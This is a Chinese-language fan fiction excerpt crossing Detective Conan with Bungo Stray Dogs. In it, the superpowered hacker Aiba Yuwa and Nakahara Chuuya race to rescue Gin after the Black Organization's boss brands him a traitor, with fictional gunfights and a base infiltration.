太宰治因为先前要喝洗洁精咖啡到处捣乱,被中原中也一拳揍趴在地上,此刻还顶着个大包半死不活地躺在地上,他翻了个面,说:“看来你的女朋友不仅挺好,还很热情似火。” 意有所指的话让相叶佑禾脸色微红:“嘛,确实有点。” 他一边说,一边仔细观察着太宰治,确认他是不是真信了他对象是女孩的事。 “真好啊~我也想找个女孩子陪我殉情~”太宰治羡慕地说着。 相叶佑禾:“呃……那还是别了吧。记得别在米花町大街上做这种事,做了被侦探和警察抓住别让我去赎你。” “诶~好冷漠!”太宰治在地上滚来滚去,差点把中原中也绊倒。 江户川乱步眉头一跳,一把将相叶佑禾往远处带去。 同一时间,中原中也额头青筋暴起,一脚将太宰治踢到了墙角,后者一躲,撞到了不远处的柜子上。 柜子晃了晃,随着一声声‘哗啦’声,里面的盘子、杯子粉粉掉落。 中原中也赶忙去接,但盘子太多,他又没有使用异能力,只能堪堪挽救几个。 相叶佑禾:“……” 江户川乱步:“……” 中原中也:“……” 太宰治:“哇哦~┐( ̄∨ ̄)┌” “怎麽了怎麽了?!”听到响声冲进来的老板看着一地碎屑呆滞了两秒,随后看向里面给三人付过多次钱的相叶佑禾,眉眼弯弯:“相叶君,请问是刷卡还是现金?” 相叶佑禾:“……” 他,相叶佑禾,在持续三周、不,即将一个月之内多次给这两个坑货赔钱后,成功破产了!—— 在接到boss的命令后,琴酒并没有立即执行。 他先确定了boss没有将这个任务交给除他以外的人,并派了伏特加去暗中保护相叶佑禾,做完这些后,一个人独自去了组织的一号研究所。 相叶佑禾身上的异常,从来没有见过他的boss为什麽会知道? 琴酒敢肯定,相叶佑禾没有在波本那几个人面前透露过这份异常,所以排除这几个家夥告密的可能。 如果是boss派人调查出来的,以他在组织里的地位一定会知道些风声。 也就是说,这些事是boss一开始就知道的。 他从哪里知道的? 琴酒想到了他和相叶佑禾的灵魂互换,也想到了他自幼便参与了实验的身份。 实验在某一天终止,他每隔一段时间需要去研究所检查身体,但琴酒知道,这个实验十之八九是失败了。 现在看来,并不见得。 问题出在他身上?还是相叶佑禾身上,琴酒觉得作为黑衣组织最古老、存活最久的一号研究所也许有能用的信息。 他没有光明正大的走进基地,现在要尽量减少boss对他的怀疑。 ——即使他觉得boss已经在怀疑他了。 琴酒对基地的防御系统了如指掌,他将监控室里的人放倒,将一部分监控关闭,他如同一抹幽灵般穿过防御、躲过研究人员,在保险柜里搜索着想要的信息。 一份带有横滨二字的数据让他驻足。 纸张边缘泛着黄,显然是尘封许久。 他拿上数据藏匿在黑暗中,借着微弱灯光翻阅着几张纸质数据。 他快速阅读着上面的信息,眸色如深渊一般暗沉。 【人造神明……A3169……失败……异能者……损失……】而旁边贴着一张黑白色的照片,照片上的小男孩和相叶佑禾十分相似。 异能者。 异能者…… 实验、失败…… 原来如此,原来如此。 琴酒心中隐隐约约有猜测,相叶佑禾曾经给他身体吃下的毒药根本不似寻常之物、在电子设备被损坏的情况下还能准确地找出敌人的位置,并和他联系、眼中不经意浮现出的非人感十足的幽蓝色光芒。 异能者啊…… 从数据上的信息不难看出,组织并不是这场实验的发起者,而是投资者。 以boss的权利和财力,能知道异能者似乎不是什麽值得惊讶的事,他投资了这所实验室,但似乎在实验室被毁时发生了什麽,让组织连忙退出了横滨,断绝了关系。 这点从组织没有任何横滨相关的任务不难看出来。 这也是为什麽他身为boss的心腹却也不知道异能者存在的事。 恐怕整个组织,除了boss便只有死人才知道了吧。 既然已经失败,那Boss为什麽又在这个时候想要得到佑禾? 琴酒手紧紧攥着纸张,保存良好的纸在他手心变得褶皱扭曲。 “嗡嗡”。 手机传来震动,琴酒打开看了一眼。 是银行卡余额变更通知。 相叶佑禾在甜品店刷了他的卡。 这个金额……是又给那几个朋友擦屁股了吧? 知道了异能者的存在,琴酒不难猜出那几个小子对相叶佑禾别有目的。 但现在容不得他多想,常年游走在生死边缘的直觉让琴酒有一股不好的预感,十分强烈。 他把数据揣进兜里,迅速离开,并发消息给相叶佑禾。 【待在中原中也身边。】 哪怕他们别有目的,但现在,至少他们是站在佑禾这边。 中原中也的体术很强,打倒组织派去的成员不成问题。 在他无法抽身的期间,哪怕再不情愿,琴酒也要借中原中也保护相叶佑禾。 【不……】 刚打出一个字,琴酒眉眼一厉,迅速往旁边一闪。 ‘砰’! 子弹贯穿手机。 “啧,没打中。” 琴酒冷冷看着朝他快速逼近的几人。 boss果然早就怀疑他了—— “哟,波本、苏格兰,晚上好。”金发女郎停下机车,看向两个装备齐全,面带疑惑青年。 他们接到短信,带好装备在约定好的地方见面,虽不知道接下来的任务是什麽,但刻意交代他们多带子弹,一定不是什麽简单的任务。 “boss传话。”贝尔摩德的金发在风中飘扬:“今晚,所有代号成员要逮捕一个叛徒。” 降谷零和诸伏景光心头一跳:“谁?” 贝尔摩德意味深长地吐出一个,任谁听到第一反应都不会相信的名字:“——Gin。” 降谷零:“谁?” 降谷零有点懵:“琴酒终于走到了恋爱脑最高境界,为爱叛逃组织打算金盆洗手了?” 第82章 嗯?嗯??你对象是男…… “呃……” 此话一出,三人的神情都变得古怪起来,包括降谷零本人。 别说,虽然这话听上去很离谱,但见识过琴酒是如何在帝丹高中追求所爱的三人,觉得还挺合理的。 更何况…… 贝尔摩德继续道:“boss吩咐,这次任务中不能使用电子设备。” 不能使用电子设备,防的必然是能根据设备追踪定位的黑客。 这些聪明人不约而同的想到了组织一直求而不得黑客樱。 同时,他们一直以来的怀疑也算间接得到了证实。 相叶佑禾就是黑客樱,因为两人恋人的关系,琴酒对boss隐瞒了相叶佑禾的身份,甚至背叛了组织,boss想要杀掉琴酒,就不得不提前做好准备尽量让这位天才黑客的能力无法发挥出来。 否则topkiller的实力加上黑客樱的辅助,他们估计只能白折腾了。 “怪不得这次任务没有通过短信发布。”降谷零笑着,隐晦地和诸伏景光对视了一眼。 一切经过网络的信息,都有被相叶佑禾破解查看的可能。 贝尔摩德不置可否:“Gin在一号研究所,其他人已经在那埋伏了。” “boss吩咐,务必要将Gin拿下。”金发女郎唇角挂着笑,一点都没有因为昔日的同事情而犹豫:“时间紧迫,我就先走了,祝你们好运~” 贝尔摩德拧动油门,快速消失在两人视野里。 降谷零和诸伏景光也迅速坐上车子,往一号基地赶去。 开车的诸伏景光喊:“zero。” “嗯,我知道。”降谷零没有把电子设备扔掉,反而掏出手机打了个电话。 首先安排人去找相叶佑禾,暗中保护对方。 其次…… 琴酒——黑衣组织boss的心腹,他手里握着组织的内核机密,他的价值对公安来说不言而喻。降谷零和诸伏景光当然不愿意这个男人死掉。 得到琴酒,必将给予组织致命一击。 这是千载难逢的好机会,他们要趁机拿下琴酒,把他带回公安,从他口中翘出组织的信息。 更何况……假设琴酒真的死了,相叶佑禾那个思想尚且稚嫩的孩子会不会做出什麽危险行为来? 从黑客樱的行事作风来看,相叶佑禾可不是什麽绝对的好孩子,如果被逼迫,他势必会做出反击。 一个并不绝对正义,并拥有可怕能力的少年,一旦失去理智,后果不堪设想。 不管是为了重创黑衣组织还是相叶佑禾,公安今天一定要抢走琴酒—— 另一边,相叶佑禾赔完钱后,中原中也等人自然不用继续留下来洗盘子了。 他们从咖啡店里出来,中原中也因为又害相叶佑禾破费了一笔不菲的钱财,对罪魁祸首太宰治一顿大骂,太宰治当然不会乖乖听着,于是两人又跟小学生似的吵了起来。 街头的路人粉粉看来,相叶佑禾觉得丢脸,拉着江户川乱步远离了两人一些。 他叹了口气,掏出手机准备和琴酒说一声刷了他的卡,这才看到对方发来的信息。 【待在中原中也身边。】 相叶佑禾看着这条短信,眉头微微皱起,在琴酒看来,中原中也除了是他朋友以外,最值得关注的就是那一身超高的武力值。 他心头浮出一股不好的预感,手指在键盘上敲出残影。 【什麽意思?为什麽让我待在中也身边?】 【有敌人吗?】 【boss知道我身份了?】 【boss派人来抓我了?】 【你人呢?你还好吗?】 【回我!琴酒!】 琴酒没有回复,就发来这麽一句简短的交代后再没有任何后续。 相叶佑禾连忙拨打电话,等待的途中心急如焚,他转身藏在黑暗中,避开路人的视线,轻轻抬指,幽蓝色的数据漂浮在空中。 他一边打电话,一边用短信轰炸琴酒,并调出对方的定位——没有。 琴酒的定位消失了。 相叶佑禾心头一沉。 从他打算拿下黑衣组织boss位置开始,他就做好了与乌丸莲耶成为敌人的准备,只要不是蠢货,被坑了那麽多次,折损了那麽多人和财力,肯定能从中看出是黑客樱在搞鬼。 但他有自信藏好自己的身份,唯一知道的琴酒,也不可能将其透露给boss。 乌丸莲耶是怎麽知道的?除非——‘琴酒’在帝丹高中担任教师的这件事,引起了boss的怀疑。 是谁告的秘?排除降谷零和诸伏景光这两个公安,是贝尔摩德?还是朗姆? 不,是谁说的都不重要。 重要的是boss怀疑琴酒了,琴酒正陷入危险当中。 相叶佑禾手指冰凉,平时越是危机关头越能冷静应对的他,此刻却罕见的慌乱起来。 不行,他要找到琴酒! 他眸色冰凉,幽蓝色的数据在周身翻涌闪烁。 “佑禾!”江户川乱步一把抓住少年:“他没事!你冷静下来!” 翻涌奔腾的数据在听到这些话后停息下来,对啊,乱步在这里,江户川乱步还在。 相叶佑禾将所有信息调出来摊开在乱步眼前:“乱步,他在哪里?” “他?怎麽回事?”中原中也出现在两人身旁,看向相叶佑禾,上一秒还在无奈的少年此刻面容紧绷,神情焦急。 尤其是,他刚才那突然释放出来的强大异能力。 江户川乱步扫了一眼,得出结论:“他在组织的一号研究所附近!” 一号研究所,相叶佑禾知道在哪里。 警方还是黑方?亦或者是两边都…… 在思考时,相叶佑禾已经主动联系了那些组织,交涉和等待他们做决定、派出人马都需要时间,一刻没有确认琴酒的安全,相叶佑禾就一刻无法放心下来。 他抓住中原中也:“中也!帮我个忙!” “把他救出来是吗?”中原中也撸了撸袖子,笑得肆意:“当然可以。” 总算可以认真活动活动筋骨了! 江户川乱步抓住相叶佑禾:“中也可以去,你别去!身体这麽羸弱就给我老老实实待在后方辅助大家!” 中原中也附和:“对,我和太宰去……” 中原中也一侧头,才发现太宰治不在他们周围。 “太宰呢?”刚刚打斗时还是他提醒自己相叶佑禾这边的异常的,怎麽一回头这家夥不见了! 相叶佑禾扫了眼周围:“他在河里!” 不远处的河里,一双倒立着的腿正在快速顺着流水远去。 “哈?!”都什麽时候了太宰这个混蛋还在入水! 中原中也恨不得去把人提起来再揍一顿。 时间紧迫,中原中也懒得搭理这混账东西了。 “算了不管他,我自己……” “乱步!太宰就交给你了!晚了被人带去警局就不好了。”相叶佑禾说完,一把抓住中原中也飞速跑远。 “相叶佑禾!”被丢在原地又被迫去管太宰治的江户川乱步气鼓鼓地骂:“笨蛋笨蛋笨蛋!又不听乱步大人的话!!” 随后又双手放在嘴边做喇叭状:“记得不要使用异能力——!” “知道了。”虽然江户川乱步听不到,但中原中也还是回了一声。 他看不下去相叶佑禾这气喘吁吁的样子,跑了没多远就改为他提着对方跑。 要不是不能随意动用异能力,他就可以用重力让相叶佑禾飘起来了。 “中、中也,别跑了。”相叶佑禾晕乎乎地拽住他:“那边的店里能租车,我们去租一辆车。” 相叶佑禾虽然能用异能力修改监控拍不到他们,但因为两人看上去像未成年,加上没有驾驶证,店长怎麽说都不愿意租。 最后无奈,只能租了辆摩托车。 相叶佑禾:“……” 中原中也以最快的速度朝一号研究所驶去,相叶佑禾坐在后面心急如焚,但也没闲着。 一边修改监控以免超速被交警拦下,一边和其他组织交涉。 来电铃声响起,相叶佑禾刚接通就听到江户川乱步生气地骂:“相叶佑禾你这个大笨蛋!乱步大人以后再也不跟你说话了!” 相叶佑禾心虚:“对不起乱步,我也是太着急了,你知道他是我的、我的对象,很重要……” “哼!乱步大人不知道!”江户川乱步没好气道:“接下来跟乱步大人保持联系,随时把现场情况汇报给我!” 相叶佑禾一口答应下来。 中原中也听到他说的话,问道:“那个……佑禾,我们要去救的是你女朋友?” 相叶佑禾沉默了一秒,既然都要中也帮忙了,再对他隐瞒也没什麽意思。 “嗯。”他点点头,翻出一张琴酒的照片把手机凑过去:“这个是他的样子,等会遇到可别把他当敌人打起来了。” 中原中也心想他怎麽可能把一个女高中生误会成敌人。 他侧头看去,一头银发,面容冷峻犹如一把出鞘的利刃的青年映入眼帘。 中原中也手一抖,差点没把车子给甩出去。 “佑、佑禾,你拿错照片了,这是个男的。”虽然是长头发,但这是个男的!还是个一看就比佑禾大好多岁的男的! 相叶佑禾:“嗯……嗯,就是男的。” “对吧!怎麽会是男……嗯?嗯嗯??!”中原中也瞪大了眼睛。 第83章 疯子 晚风从耳边呼啸而过,中原中也立即将剩下的话咽了回去,并把脸上震惊的神色收敛了。 “嗯,挺好的,只要是自己喜欢的,不管是男是女,无论是什麽人都挺好的。”相叶佑禾还没说什麽,中原中也就怕他尴尬率先替对方说起话来。 相叶佑禾抬了抬眸,他的朋友们只要是见过琴酒的,几乎都劝过他不要和琴酒在一起,这还是第一次从身边的人口中听到支持的话,相叶佑禾觉得还挺新奇的。 嘛,对港口黑手党、或者说对他们这些异能者来说,确实没什麽大不了的。 就在这时,电话那头传来声音,江户川乱步似乎总算是追上了顺水漂流的太宰治:“太宰,快给乱步大人上来……呜哇……啊!” ‘扑通’一声,重物落水声传来,紧接着,‘滋滋’的电流声响起。 “乱步?乱步?!”相叶佑禾喊了两声。 “没……不要……异……力……”江户川乱步的声音在嘈杂的电音中陆陆续续传来,根本听不清,最终在一阵电流声中彻底归于平静。 “怎麽了?”中原中也问。 在和江户川乱步断开联系的那一刻,相叶佑禾连忙调出江户川乱步所在位置的监控。 昏暗的画面里,两个少年在水中扑腾,互相拉扯着往岸上游去。 隐约间,他好像还看到江户川乱步趁机踹了太宰治两脚。 “……” 相叶佑禾露出死鱼眼:“没什麽,只是太宰好像把乱步也拖下水了。” 中原中也‘啧’了一声,“死青花鱼,一天天就会给人添麻烦!” 见两人都活蹦乱跳的没什麽大碍,相叶佑禾便不再关注两人。 黑客樱开出的条件十分诱人,不少组织纷纷答应帮忙,但他们的速度远没有相叶佑禾和中原中也来得快。 两人很快到了组织的一号研究所,相叶佑禾不是笨蛋,也不是什麽上头后就不管自己和同伴死活的鲁莽之人,按理说也要等支持的人快到了再开始行动,但现场却让人有些意外。 一号研究所一片狼藉,爆炸的冲击将墙壁撕开,熊熊烈火似乎燃烧着残留的重要物品,穿着白大褂、一看就是科研人员的人正努力灭着火,地面布满密密麻麻的弹孔,碎裂的混泥土和扭曲的金属碎片散落各处,显然刚经历了一场激烈的战斗。 相叶佑禾心脏重重一跳,他慌乱的从那几个躺在地上、浑身沾满了鲜血的人扫去,没有发现琴酒后,才重重松了口气。 中原中也隐匿在黑暗中,娇小的身影如同刀锋划破夜色,他掠过月光照不到的角落,一眨眼的功夫便揪了个人仍在相叶佑禾面前。 “别出声,否则立刻杀了你。”中原中也手指扣在对方喉咙上,男人因失血过多变得苍白的脸更加白了,他紧紧盯着面前的两个少年,没有说话。 相叶佑禾用手机照了照他的脸,早就调查过组织所有人的他,准确的叫出对方的代号:“百加得,你们在这里做什麽?” 粉发少年的声音不含一丝温度,这仿佛不具备人类感情的腔调听得百加得背脊一凉。 更何况,将他抓来的这个少年更是身手了得,他虽然受伤了,但好歹也是组织的代号成员,竟然就这麽轻而易举的被人抓走,毫无反抗能力。 不如实交代,他绝对会死在这里。 “告诉你们,你们就会放过我吗?” “你没有讨价还价的余地。”相叶佑禾没有耐心跟他在这里扯些有的没的,冷声道:“说,还是不说?” “……”喉咙上的手指收紧,窒息感让百加得面容扭曲。背叛组织是死,但不说,现在就得死。 “抓……琴酒。” 相叶佑禾眸色一厉:“抓到了吗?” “没有,他跑了。”百加得说道:“那个男人不愧是组织的topkiller,接到命令后我们最先赶到的三人,不仅没有把人拿下,还都被他反击重伤了,他还借用地形的优势把研究所毁了,用来阻断追兵。” 一想到银发杀手那被包围也依旧面色不改的脸,百加得就恨不得给对方两枪。 不过把这麽重要的研究所给毁了,boss更加不会放过琴酒了。 “有点本事嘛。”中原中也看向相叶佑禾,后者一直紧绷着的脸在这一刻总算缓和了一些。 相叶佑禾那一直提着的气在听到琴酒跑了后,稍微放松了一些。 他连忙问:“他受伤了吗?离开的时候状态还好吗?从那边离开的?” 百加得看了相叶佑禾一眼,“你和琴酒是什麽关系?” 他响起前不久组织里流传着一个假到让所有人都不会相信、但依旧听得津津有味的传言。 ——琴酒谈恋爱了。 “你是他的相好?” “你只要回答我的问题就行。”相叶佑禾睨了他一眼。 百加得磨了磨牙,一个小小的少年也敢对他这麽猖狂,就算是琴酒的相好又怎麽样?琴酒现在都自身难保了! “收回你的眼神。”中原中也捂住他的嘴,在膝窝上狠狠踢了一脚,痛得百加得感觉骨头都要碎了。 这小鬼是怪物吗?明明看上去这麽娇小打人却这麽痛。 “有、有……”感受到周围空气突然变冷,百加得生怕脑袋就此与身体分离,连忙说:“但只是一些微不足道的擦伤!” 比起直接被子弹射中的他们,那根本不算什麽好吧! 相叶佑禾抿了抿唇:“你们为什麽要追杀琴酒,追杀他的人有多少?” 百加得额头冷汗直冒,痛苦地喘息着:“boss下了命令,琴酒背叛组织,在米花町的所有代号成员都要去缉拿他。” 相叶佑禾:“用什麽方式下的命令?” 百加得:“派人口头传达,且任务中不允许我们佩戴一切电子设备。” 相叶佑禾垂在身侧的手骤然捏紧。 果然,乌丸莲耶知道了琴酒隐瞒黑客樱信息这件事。 他的目标是自己。 幽蓝色的光芒闪过,中原中也迅速将百加得敲晕。 数据在空中组成一块屏幕,一段对话浮现在眼前。 【Gin已经抓到,人在三号基地,你带人去翘出他嘴里的信息。】 【收到,boss。——贝尔摩德。】 相叶佑禾监视了组织所有成员的手机,一旦有琴酒相关的内容,便会得到提醒。 信息跳出来的同时,他立刻追查了两个号码的位置,周围没有监控,附近的监控也没有可疑的人员出现。 相叶佑禾把位置发给和他交易的组织去追查。 不出意外的话,他们什麽都不会找到。 “佑禾,你要去三号基地?”中原中也一把抓住相叶佑禾的手:“你别去,这是……” “我知道。”相叶佑禾打断他。 他知道,这是个陷阱。 明晃晃的,针对黑客樱的陷阱。 三号基地的监控全无,相叶佑禾无法通过其查看琴酒在不在。 可无论在不在,为了琴酒,相叶佑禾都会去一探究竟。 他不会放过任何一个能找到琴酒的线索。 “知道你还去?”中原中也道:“我会帮你把人带回来的,你就给我老老实实待在远处辅助我就行了!” “不,我要去。”不是任性,也不是商量,相叶佑禾只是平淡的陈述着这件事。 没有任何人能够改变他的决定。 相叶佑禾转身,朝机车走去。 无论是从前身为港/口/黑/手党的异能者工具人,还是后来米花町的普通高中生,相叶佑禾还是第一次如此认真、迫切地想要去杀掉一个人。 乌丸莲耶,这个阴沟里的老鼠,就算用一层又一层的臭水把自己裹得死死的,他也会找到对方的所在地。 中原中也看着少年的背影,心头浮现出一种奇怪的感觉。 他总觉得相叶佑禾好像不一样了。 他见过相叶佑禾面对朋友时友善的温和,也见过面对敌人时满含杀意的冰冷,但此刻…… 少年所释放的杀意不假,可有一瞬间,他却像一个被抽离了情绪的……—— “Gin,先别急着杀我,我这里有一个有趣的情报,你一定很感兴趣。” 阴暗的巷子里,贝尔摩德靠在墙边,她的手指紧紧按住不断流血的腰,嘴角依旧挂着惯常的微笑。 她的对面站着个银发男人,男人冷峻的脸上沾染着斑驳的血迹,黑色的风衣下摆正缓缓滴落着暗红色的液体。 他苍白的手指同样被血液覆盖,却稳稳搭在板机上,没有一丝颤抖。 琴酒冷冷瞥了她一眼:“我没有时间听你说废话。” 下一波追杀他的人马上就到。他现在必须干净利落的解决每一个人。 否则面对共事这麽久的同事,他不介意送几句上路的话。 贝尔摩德:“跟你的小情人有关。” 琴酒:“说。” 贝尔摩德:“……” 她扯了扯嘴角,忍不住笑了两声:“这可真是……” 琴酒冰冷的目光落在她身上。 “boss让我定时发一条短信在我的手机上,内容是——”贝尔摩德嘴唇一张一合:“Gin已经被抓,正关押在三号基地里。” 这一切的目标是谁,不言而喻。 从boss这谨慎地态度来看,他真的很怕相叶佑禾啊。 琴酒的手一紧,眉眼冷厉:“这麽简单的陷阱,他会看出来的。” “但他还是会去。”贝尔摩德一字一句:“因为你有可能在那。” “就像你不确定这份消息是真是假,相叶佑禾是否会去,也一定会出现在三号基地。” 这次,琴酒没有说话。 男人转身就走,银色的长发在风中划过凛冽的弧度。 贝尔摩德:“我的机车就在不远处,你可以骑走它。” 琴酒接过她扔来的钥匙,问:“为什麽背叛组织?” 贝尔摩德很无语,不知道的还以为还对组织忠心耿耿呢。 “就当是我回报佑禾帮我的忙吧。” 帮她隐藏了她最重要的两个人的信息。 “还有,你的视而不见和雪中送炭。谢了,那份数据。” 直到现在,贝尔摩德仍旧感叹爱情的伟大,竟然能让琴酒忽视柯南,并送出了ATPX4869的数据,尽管只有一半。 什麽数据? 琴酒在心里‘啧’了一声,相叶佑禾那小鬼,又偷偷用他身体做了什麽? 男人穿过小巷,藏在阴影中的目光扫了眼停在路边的车子。 呵。 条子。 琴酒很快来到目的地,长腿一跨坐上了机车。 一道车灯从身后打来,‘砰’地一声枪响,又有追杀他的组织成员到了。 “Gin,别挣扎了。” 子弹袭来,琴酒一甩车身躲过,只留下在前轮溅起的一串火星。 都这麽想得到他啊。 琴酒勾了勾唇,修长的手指拧动油门,引擎的轰鸣响彻云霄。 “那就给我……”他用一发子弹击碎前车窗的瞬间,猛地拉起车头,机车高高跃起,在追杀着放大的瞳孔中,机车重重砸在轿车顶棚。 “是琴酒!” “风见警部补,琴酒在那!” 低低的声音被轰鸣声掩盖,琴酒扫了眼发现他的公安们,唇角弧度加深。 “给我都跟好了。” 黑色的风衣在夜色中划过淩厉地弧度,银色长发在风中狂舞,机车如离弦的箭一般撕碎夜空。 贝尔摩德看了眼男人离去的身影,以及身后那两条一边对打一边紧紧跟上的尾巴,忍不住骂了一声。 “疯子。” 第84章 你的爱人 三号基地跟相叶佑禾曾经从监控里看到的差不多,只不过如今为了应对黑客樱,做出了些改变。 原本高科技的安防系统悉数关闭,那些闪烁着红光的监控探头、自动识别身份的闸机和智能防护设备等等皆被关闭,取而代之的是增多的守卫,他们手持枪械,神色警戒地来回巡视。 想要直接突破这些守卫并不难,毕竟相叶佑禾身边站着的可是横滨的战力天花板中原中也。 只要使用异能力,这些人顷刻间便会被击败。并且这里没有任何监控设施,事后只要将这里见过中原中也的人全都杀掉,就没有人知道异能者的存在。 相叶佑禾愣了一下。 把见过中原中也的人都杀掉,这些人有多少?光门口的守卫便有二十,里面呢? 相叶佑禾从来不认为自己是什麽干净的人,可已经远离那个战乱不断的横滨,在米花町生活了十年的他,竟然会这麽轻易的冒出如此轻视生命的想法。 相叶佑禾被自己吓了一跳。 他心里莫名的有些慌乱,就像是有什麽不受控制的东西正在觉醒。 “你怎麽了?”中原中也见相叶佑禾脸色有些苍白,以为他在担心琴酒。 “没关系,我会帮你把人救出来的。”中原中也轻轻拍了拍他的肩膀,笑容中满是自信:“就算不使用异能力,单纯的体能战斗也鲜少有人能胜过我,更何况没有高科技的设施不是更好,增大了我悄悄溜进去的机会。” 是的,他们不需要正面硬刚,守卫虽多,防护虽然严密,可他们依旧能找到溜进去的机会,不如说没了那些高科技,这次潜行会更加如鱼得水。 相叶佑禾很想跟进去,但他这幅身体去了也只是拖累中原中也,害对方分心保护他。不如留在外面,帮他监视动向。 相叶佑禾看了眼手机:“这个地方被设置了信号屏蔽器,不过好在我有异能力,我们就用这个保持联系吧。” 他将耳机扔给中原中也。并拨通了对方的电话,却听到一阵忙音。 相叶佑禾歪了歪头。 正在掏手机的中原中也摸了个空,他飞速把全身摸了个遍都没找到手机。 “怎麽会,明明揍太宰的时候它还……”想到什麽,中原中也脸色难看,咬牙切齿:“太、宰!” 不用想,一定是太宰那家夥又顺手柄他的手机摸走了。 没有钱包就把他的手机摸走,真是好样的! 中原中也恨不得把太宰治拉过来痛揍一顿。同时心里也升起一股奇怪的感觉。 真的只是巧合吗?太宰那个家夥,该不会又在算计什麽吧? 相叶佑禾:“……” 真是坑爹的队友,不到一个月的相处,相叶佑禾竟然有种习以为常的感觉。 算了。找人要紧。 相叶佑禾把自己的手机扔给中原中也:“你用我的吧。” 他的异能力不通过电子设备也能使用,但需要付出一点代价。 从这段时间身体的变化来看,相叶佑禾不难猜出这份代价是什麽。 ——情感剥离。 他的感情正在逐渐淡化。 不过没关系,只要记住这份限制,尽可能的少在没有电子设备的时候使用就行。 自从上次手机被打碎后,相叶佑禾就多了随身携带多余电子设备的习惯,没了手机,他可以通过电子手表使用异能力来和中也保持联系。 相叶佑禾看了眼正在连接蓝牙耳机的中原中也,忍不住道:“中也,要小心,别受伤,遇到危险不要犹豫直接使用异能力。” 性命攸关,就别管什麽暴露不暴露的问题了,先保住命要紧,之后的事再想办法就好了。 中原中也看了眼相叶佑禾,少年眉眼里满是认真。 他们违反约定,离开横滨来到米花町,如果被政府部门知道,横滨的异能者们将会受到更严格的管控。对于相叶佑禾而言,想要把他带回去的他们是敌人,横滨的异能者会怎样与他无关。 但相叶佑禾知不知道,如果他使用异能力不慎暴露了身份,同为异能者的相叶佑禾有极大的概率会被发现,一并送回横滨。 他知道,相叶佑禾当然知道。 最在乎能不能留在米花町的人怎麽可能会考虑不到这一层。 但比起这个,他更不想让朋友受到伤害,生命受到威胁。 中原中也唇角上扬,相叶佑禾还是那个相叶佑禾。 “我知道了,等着迎接你的爱人吧。” 相叶佑禾脸一红,小声嘀咕:“什麽爱人,才没有到那个程度。” “什麽?”中原中也没听清。 相叶佑禾:“没什麽,我是说,琴酒还不一定在里面呢!” 中原中也奇怪地瞥了他一眼:“不在里面你不是更着急,到时候可别哭出来。” 相叶佑禾无语:“……中也,我比你大,要尊重哥哥。” 中原中也:“哈?我们明明一样大好吧!” 相叶佑禾:“我比你先出实验室,我比你先成年!” 中原中也:“……” 他一只手柄相叶佑禾提起来,将人放到了茂密的树枝上:“没用,我比你强。” 相叶佑禾:“????” 中原中也说完这句话便立马离开了,相叶佑禾看着少年消失在黑暗中的背影,咬了咬呀。 下次他要站在太宰治那边,绝对!—— 中原中也走后,相叶佑禾也没闲着,他狗狗祟祟地爬到更高更宽敞的枝头,小心翼翼地组装着狙击枪。 虽然事发突然没时间给他们准备,但架不住一号研究所有很多,两人理所当然的顺走了一些。 他将组装好的狙击枪架好,趴下透过瞄准镜观察着四周。 没有监控,他就用肉眼去监视,如果中也那边出现什麽情况他也好接应。 中也那边传来的声音没有异常,相叶佑禾手指搭在板机上,冷静认真地观察着四周。 他的心里很着急,控制不住的去想琴酒的情况。 黑衣组织的行事作风十分狠辣,面对叛徒和卧底一向绝不留情,从百加得那听来的情况似乎不错,可还剩下的很多代号成员正在追击琴酒。 乌丸莲耶想要用琴酒来引出相叶佑禾,大概不会对琴酒痛下杀手,可面对这麽多追击受伤恐怕在所难免。 相叶佑禾的手指微微收紧,他眼睛一眨不眨地盯着瞄准镜,神色愈发冰冷。 中原中也那边传来骚动,他被发现了,相叶佑禾连忙问:“需要支持吗?” 中原中也:“不用,好好待在原地,我很快解决。” 相叶佑禾:“撑不住就用异能力,之后的事我来解决。” 中原中也是为了他使用异能力,他必然不会让对方因此暴露。 中原中也笑了笑:“不是说了吗?我比你强。” 子弹打在金属物上发出叮叮当当的声响,相叶佑禾能感觉到那边的战况十分激烈。 他抿了抿唇,很讨厌这份无力感。 安防系统的控制终端被彻底破坏,他想要重新启动都没办法。 相叶佑禾眯起眼,看了眼基地前那些明亮的灯光,既然他们到来的事已经暴露了,那就没有再继续隐藏的必要。 “中也,告诉我你的位置。” 虽然不解,但中原中也还是立刻说:“地下三号审讯室。” 相叶佑禾:“你出去走廊,做好陷入黑暗的准备。” 中原中也没有停留,抬腿将面前的一脚敌人踹飞,借力往后一翻,子弹擦着衣角射入地面,而他的已经闪到了走廊上。 “他要跑,快追!” 中原中也闪到走廊的同时,走廊的灯突然熄灭,陷入一片黑暗。 “往你的左手边跑二十步,右边的架子最下层有一箱酒,踢出去。” 相叶佑禾的声音在耳畔响起,中原中也照做,酒箱飞出,随即传来骨骼与木箱碰撞发出的闷哼声,浓烈的酒精味在黑暗中炸开,中原中也迅速朝地面来了一枪,爆裂的火星瞬间点燃了酒液,火蛇猛地喷出。 相叶佑禾:“往后退几步。” 话音落,自动灭火设备启动,天花板突然爆开一团团水雾。喷洒出来的水与尚未散尽的热浪相撞,冒出蒸腾的白雾阻拦了众人的视线。 相叶佑禾提醒:“我要开灯了。” 灯光亮起,刺目的白光撕开雾气,还不等他们查找中原中也,来自重力使的子弹已经穿透了他们的身体。 “快点!在这边!”左侧的分岔路传来声响,中原中也毫不恋战,翻进这条路最后一间房间,没有发现琴酒后迅速从窗口翻出,朝另一层楼跑去。 他的目的是找到琴酒,任务没有完成,怎麽能离开呢? 中原中也将拦路的人击倒,并实时告诉相叶佑禾位置,即使看不到敌人,相叶佑禾也能利用地形为中原中也减轻压力。 “要不是我在里面,都要以为监控还被你掌控着了。”中原中也调侃道。 相叶佑禾眸中泛着幽蓝色的光芒,三号基地的地图以及详细数据,甚至每个人员会在什麽地方放什麽的小习惯都一一展现在他眼前。 少年专注的盯着这些数据,幽蓝色的光芒竟让他染上几分非人的色彩。 “没有监控,我也能做很多事。” 中原中也微愣。 没错,横滨的‘天眼’,从来不是靠控制监控观察敌人,让人畏惧厌恶的,一直是他手里事无巨细的数据。 佑禾此刻在想什麽呢? 中原中也不禁有些担心那个想要摆脱过往的少年。 “十步后停下,左手边窗帘后170公分处有个按钮。”相叶佑禾歪了歪头:“中也,你需要微微跳一下才能够到。” 中原中也:“……不用你说!!” 相叶佑禾:“作为干部大人,不能只听好话,实话才能让你一直保持清醒。” 中原中也:“我、很、清、醒。” 小插曲并能让相叶佑禾的心情放松,基地里的情况自然被外面的守卫注意到,当发现是一个武力很高的少年后,他们分出了一部分人在查找,其余的继续坚守自己的岗位。 相叶佑禾缩在树叶中,努力隐藏自己的身体。 